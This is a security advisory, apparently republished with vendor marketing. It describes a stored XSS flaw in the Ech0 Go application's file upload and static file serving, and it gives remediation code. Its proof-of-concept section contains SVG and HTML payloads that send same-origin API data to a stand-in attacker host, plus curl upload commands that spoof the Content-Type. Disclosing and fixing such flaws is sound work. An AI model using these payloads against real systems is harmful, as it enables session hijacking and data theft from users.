Summary
The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, image/svg+xml is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.
Details
The upload handler at internal/service/file/file.go:85-87 validates file type using only the multipart Content-Type header:
contentType := file.Header.Get("Content-Type") // client-controlled
if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {
return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)
}
isAllowedType at file.go:836-843 performs exact string matching, no magic byte detection, no extension validation:
func isAllowedType(contentType string, allowedTypes []string) bool {
for _, allowed := range allowedTypes {
if contentType == allowed {
return true
}
}
return false
}
The original file extension is preserved in the storage key by RandomKeyGenerator at internal/storage/keygen.go:41:
ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))
All locally stored files are served publicly without authentication at internal/router/modules.go:51:
ctx.Engine.Static("api/files", root)
This gin.Static call is registered directly on the engine, outside any authentication middleware group. Go's http.ServeFile (used internally by gin.Static) determines the response Content-Type using mime.TypeByExtension, so .html files are served as text/html and .svg files as image/svg+xml.
No X-Content-Type-Options: nosniff or Content-Security-Policy headers are set (verified in internal/router/middleware.go).
Variant 1, SVG XSS (no spoofing needed): image/svg+xml is in the default AllowedTypes at internal/config/config.go:241. SVG files can contain <script> tags and event handlers. The VireFS schema routes .svg to images/ (internal/storage/schema.go:10). Uploaded SVGs are publicly accessible at /api/files/images/<key>.svg and JavaScript within them executes in the application's origin.
Variant 2, Content-Type spoofing: Upload an .html file with a forged multipart Content-Type: image/jpeg. The allowlist check passes (image/jpeg is allowed). The .html extension is preserved. The VireFS schema routes unknown extensions to files/ (schema.go:14). The file is served at /api/files/files/<key>.html as text/html.
PoC
Variant 1, SVG XSS (simplest, default config):
# 1. Create SVG with embedded JavaScript
cat > evil.svg << 'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<script>
// Steal cookies and redirect to attacker
fetch('/api/echo/page')
.then(r => r.json())
.then(d => {
new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d));
});
</script>
<circle cx="50" cy="50" r="40" fill="red"/>
</svg>
SVGEOF
# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)
curl -X POST http://target:1024/api/files/upload \
-H 'Authorization: Bearer <admin-jwt>' \
-F '[email protected];type=image/svg+xml' \
-F 'category=image' \
-F 'storage_type=local'
# Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg
# 3. Access without authentication, JavaScript executes in application origin:
# GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg
Variant 2, Content-Type bypass with HTML:
# 1. Create HTML with JavaScript
cat > evil.html << 'HTMLEOF'
<html><body>
<script>
document.write('<h1>XSS in ' + document.domain + '</h1>');
// Exfiltrate data from same-origin API
fetch('/api/echo/page').then(r=>r.json()).then(d=>{
new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d));
});
</script>
</body></html>
HTMLEOF
# 2. Upload with spoofed Content-Type
curl -X POST http://target:1024/api/files/upload \
-H 'Authorization: Bearer <admin-jwt>' \
-F '[email protected];type=image/jpeg' \
-F 'category=image' \
-F 'storage_type=local'
# 3. Access without authentication, renders as text/html:
# GET http://target:1024/api/files/files/<uid>_<ts>_<rand>.html
Impact
- Stored XSS in the application origin: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly.
- Session hijacking: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens.
- Persistent backdoor: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated.
- Data exfiltration: JavaScript running in the application origin can call internal API endpoints (e.g.,
/api/echo/page) and exfiltrate application data. - Social engineering vector: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised.
The admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise.
The application accepts file uploads without adequately restricting the file type or content. Typical impact: remote code execution if the uploaded file can be served and executed on the server.
GHSA-69HX-63PV-F8F4 has a CVSS score of 4.8 (Medium). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.4.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
1. Validate Content-Type server-side using magic bytes (internal/service/file/file.go):
import "net/http"
// Replace client-controlled Content-Type with server-detected type
func detectContentType(file multipart.File) (string, error) {
buf := make([]byte, 512)
n, err := file.Read(buf)
if err != nil && err != io.EOF {
return "", err
}
if _, err := file.Seek(0, io.SeekStart); err != nil {
return "", err
}
return http.DetectContentType(buf[:n]), nil
}
2. Remove image/svg+xml from default AllowedTypes or sanitize SVGs to strip <script> tags and event handlers before storage.
3. Add security headers in internal/router/middleware.go:
func SecurityHeaders() gin.HandlerFunc {
return func(c *gin.Context) {
c.Header("X-Content-Type-Options", "nosniff")
c.Header("Content-Security-Policy", "default-src 'self'; script-src 'self'")
c.Next()
}
}
4. Serve uploaded files with Content-Disposition: attachment or from a separate origin/subdomain to isolate them from the application's cookie scope.
Frequently Asked Questions
- What is GHSA-69HX-63PV-F8F4? GHSA-69HX-63PV-F8F4 is a medium-severity unrestricted upload of dangerous file types vulnerability in github.com/lin-snow/ech0 (go), affecting versions < 4.4.3. It is fixed in 4.4.3. The application accepts file uploads without adequately restricting the file type or content.
- How severe is GHSA-69HX-63PV-F8F4? GHSA-69HX-63PV-F8F4 has a CVSS score of 4.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/lin-snow/ech0 are affected by GHSA-69HX-63PV-F8F4? github.com/lin-snow/ech0 (go) versions < 4.4.3 is affected.
- Is there a fix for GHSA-69HX-63PV-F8F4? Yes. GHSA-69HX-63PV-F8F4 is fixed in 4.4.3. Upgrade to this version or later.
- Is GHSA-69HX-63PV-F8F4 exploitable, and should I be worried? Whether GHSA-69HX-63PV-F8F4 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-69HX-63PV-F8F4 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-69HX-63PV-F8F4? Upgrade
github.com/lin-snow/ech0to 4.4.3 or later.